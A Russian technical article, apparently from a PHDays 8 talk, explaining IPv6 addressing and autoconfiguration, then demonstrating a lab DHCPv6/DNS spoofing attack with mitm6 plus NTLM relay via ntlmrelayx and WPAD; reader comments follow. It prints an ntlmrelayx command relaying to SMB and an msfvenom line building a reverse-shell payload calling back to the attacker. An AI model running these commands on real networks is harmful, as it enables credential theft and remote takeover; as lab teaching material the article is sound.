IPv6 — новая версия интернет протокола. Члены IETF приняли её всего 22 года назад, в 1996 году. За это время успели появиться специфичные для IPv6 атаки. Цель данной статьи, написанной по мотивам нашего выступления на PHDays 8 — показать возможности атаки в корпоративных сетях внутренним нарушителем, используя IPv4 и IPv6.



Основы адресации IPv6


Длина адреса IPv6 составляет 128 бит, которые записываются в шестнадцатеричном формате c разделением всего адреса на 8 групп. Пример написания адреса IPv6:

2001:0a00:cafe:babe:0001:0000:0000:0011/64

Существует упрощенная запись адреса, когда несколько последующих групп нулей могут быть заменены на «::», но только один раз. Нули, записанные слева в каждой группе, могут быть отброшены. Значит, адрес выше можно записать в виде:

2001:a00:cafe:babe:1::11/64

Стандартный размер хостовой части, выдаваемый провайдером клиенту — 64 бита, из которых 4 используются для сегментирования сети на подсети.



В IPv6 существует несколько типов адресов:


Глобальный юникаст (Global unicast) — это аналог публичных адресов в IPv4. Данные адреса выдаются IANA и уникальны в пределах всего интернета. Данные адреса находятся в диапазоне 2000::/3 (2000 – 3FFF).

Локальные адреса (Link-local) — адреса в диапазоне FE80::/10 (FE80 – FEBF), автоматически генерируются устройствами и используются для взаимодействия с другими устройствами в той же локальной сети. Трафик, содержащий в качестве отправителя или получателя данный адрес, не должен маршрутизироваться. Таким образом, устройство, имеющее поддержку IPv6 и подключённое к сети, сразу может обмениваться информацией в пределах своей подсети без какой-либо настройки.

Loopback-адрес ::1. Данный адрес аналогичен 127.0.0.1 в IPv4. Пакеты отправляемые на него не покидают пределы устройства.

Неопределённый адрес (Unspecified address) — адрес «::», состоящий из одних нулей. Используется в некоторых случаях в качестве отправителя до момента получения адреса.

Уникальные локальные адреса (Unique local) — аналог приватных адресов в IPv4, могут маршрутизироваться в пределах внутренней сети организации, без возможности маршрутизации в Интернет. Адресное пространство IPv6 настолько велико, что каждому человеку на планете можно выдать более триллиона адресов и они не закончатся. Поэтому IPv6 подразумевает отказ от приватных адресов в том смысле, в котором они использовались в IPv4 из-за нехватки публичных.

Адреса IPv4, отображённые в IPv6 (IPv4 embedded) — адреса IPv6 начинающиеся с ::ffff: последние 32 бита которых содержат IPv4 адрес(::ffff:xxxx:xxxx, где xxxx:xxxx — это IPv4 адрес, переведённый в шестнадцатеричный вид). Эти адреса используются для устройств, не поддерживающих IPv6 и обеспечивают способ отображения адресного пространства IPv4 в адресное пространство IPv6.

Мультикастовые адреса (Multicast) — одно из ключевых изменений в IPv6 по сравнению с IPv4. В новом протоколе отказались от широковещательных пакетов, вместо широковещательного адреса используются мультикаст адреса. Все эти адреса находятся в диапазоне FF00::/8



Назначение адреса в IPv6


Для получения адресной информации в IPv6 используется протокол ICMPv6 Neighbor Discovery Protocol (ND). Как показано на рисунке ниже, при появлении нового устройства в сети, работающей по IPv6, устройством посылается запрос на получение IPv6 адреса (Router Solicitation) на «ff02::2» (все маршрутизаторы сети). Маршрутизатор отвечает сообщением (Router Advertisement), содержащим информацию о том, как получить адрес IPv6. В зависимости от выставленных в сообщении флагов существует три способа:
Способ получения адреса A(Auto) флаг O(Other) флаг M(Managed) флаг
SLAAC (по умолчанию) 1 0 0
SLAAC + DHCPv6 1 1 0
DHCPv6 0 - 1

SLAAC (Stateless Address Autoconfiguration) — В данном случая все необходимая для генерации глобального IPv6 адреса находится в RA сообщении.

SLAAC + DHCPv6 — Также как и в случае SLAAC адрес генерируется на основании информации в RA пакете, но дополнительно выставлен флаг O что значит Other configuration и устройству необходимо связаться с DHCPv6 сервером для получения дополнительных настроек например DNS сервера.

DHCPv6 — аналог DHCPv4 адрес и вся остальная информация выдается DHCP сервером, за исключением шлюза по умолчанию, который берется из адреса отправителя RA пакета.

При одновременно выставлении O и M флагов, флаг O игнорируется.


В качестве примера возьмем утилиту fake_router26 из набора утилит thc-ipv6. На изображении видно, что после запуска добавился IPv6 адрес шлюза по умолчанию, который стал приоритетнее IPv4.



Атакуем!


В данном сценарии мы рассмотрим возможность атаки типа «человек посередине», используя механизм получения сетевых настроек протокола IPv6.

Для демонстрации нам понадобится 4 машины:

Машина атакующего Kali Linux.



Машина-сервер, на которой будут включены шары администратора Windows 7.



Машина-клиент, у которой будет доступ к серверу Windows 7.



Роутер с включенным DHCPv4.

dirkjanm описал методику данного сценария. Он написал утилиту mitm6, которая, используя ND протокол, отправляет сообщения Router Advertisment c установленными флагами «O» и «M» равными «1». Таким образом клиенты знают, что необходимо запрашивать адресную информацию у DHCPv6 сервера. Клиенты начинают отправлять DHCPv6 SOLICIT сообщения, для обнаружения DHCP сервера. Утилита отвечает на посылаемые запросы сообщениями DHCPv6 ADVERTISE; в ответе содержится адрес атакующей машины в качестве DNS-сервера.

Запрос адресной информации, отправляемый на мультикаст-адрес всех DHCP-серверов ff02::1:2

После чего из-за архитектурных особенностей операционной системы DHCPv6 DNS становится приоритетным. Теперь атакующий может отвечать на любые DNS запросы нужным адресом. Таким образом запрос посланный по доменному имени будет направлен на усмотрение атакующего.

Запустив mitm6, можно указать домен, для которого подменять адреса DNS.





Шары администратора


Для усиления драматического эффекта допустим, что в сети существует ещё одна машина, на которой пользователю первой машины разрешается подключаться к административным шарам. По умолчанию они выключены, но в интернете множество людей интересуется, как их включить, и очень радуются, когда у них это получается.





WPAD (Web Proxy Auto Discovery) — протокол для определения расположения файла, в котором находятся настройки прокси-сервера по умолчанию.

После обновления MS16-077 wpad больше не отдаётся через NETBIOS и не аутентифицируется автоматически на прокси сервере.

Для обхода данных ограничений можно использовать ntlmrelayx.py, входящий в состав impacket. Необходима версия выше 0.9.16, в которой включена поддержка IPv6 и возможность установки сервера, отдающего валидный wpad. Запуск производится командой

ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe 

где 1.exe — reverse-shell-пейлоад, сгенерированный метасплойтом.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe

параметр -wh указывает на хост, где располагается wpad файл (утилита mitm6 ответит адресом атакующего на данный запрос)





После подключения будет запрошена аутентификация HTTP 407 (Proxy Authentication Required), на который браузер автоматически аутентифицируется.





Полученные данные будут использованы для подключения к smb атакуемого сервера, переданного через параметр -t.





Благодарю моего соавтора Сергея Овчинникова malchikserega за помощь в подготовке выступления и статьи.

Комментарии (9)


  1. cooladmin
    18.07.2018 12:41
    +1

    Локальные адреса (Link-local) — адреса в диапазоне FE80::/10 (FE80 – FEBF)… для взаимодействия с другими устройствами в той же локальной сети.

    Кажется, корректнее «в том же широковещательном домене» или «в том же l2 сегменте». Локальная сеть — понятие более широкое (может включать множество VLAN или сегментов). И для каждого широковещательного домена (l2 сегмента — каждого vlan, например) у интерфейса будет отдельный LL адрес.


    1. vmvarga Автор
      18.07.2018 14:34
      +1

      Согласен, в рамках одного канала или L2 сегмента будет корректнее. Широковещательный домен крутилось в голове, но т.к. шировоещательных адресов нет в IPv6, решил не использовать.


  1. powerman
    18.07.2018 17:39

    Было бы гораздо интереснее почитать про то, как настроить IPv6 не создавая кучи новых дыр (и заблокировав и эту атаку в том числе). Потому что хотя внедрение IPv6 вроде как окончательно застряло, но альтернатив ему (кроме усугубления ситуации с IPv4+NAT или раскулачивания крупных держателей неиспользуемых IPv4 вроде мин.обороны США и Microsoft) пока не видно.


    1. Bonio
      18.07.2018 20:02

      Так же, как настраиваются любые устройства с внешними ip адресами, настройкой фаервола.
      А эту атаку можно произвести только при наличии физического доступа к вашей сети, поэтому я не переживал бы насчет нее.


      1. Tangeman
        19.07.2018 03:41

        При наличии физического доступа можно много чего сделать и с IPv4, банальный ARP spoofing тому пример.


    1. amarao
      19.07.2018 11:49

      Раскулачивание даст IP-адресов на время меньшее, чем займёт процесс раскулачивания. Проблема же не в том, что кто-то нахапал IP'шников и не даёт остальным, а в том, что «остальных» больше, чем всех валидных IPv4-адресов.


  1. ibKpoxa
    18.07.2018 23:49

    Ну не такая уже и новая версия, сколько лет, сколько зим…


  1. y45
    19.07.2018 10:20
    +1

    RFC5952 (2010 год аж) устанавливает некоторые правила представления v6 адресов. В том числе определено, что буквы в адресе должны быть строчными (lower case). Удивительно что этот полезный RFC не очень широко известен. Множество производителей сетевого оборудования его игнорируют.
    Это я к тому что на картинке в статье вообще mixed-case, например.


    1. vmvarga Автор
      19.07.2018 10:21
      +2

      Согласен в этом RFC указано требование о представлнии IPv6 адресов обязательно строчными буквами.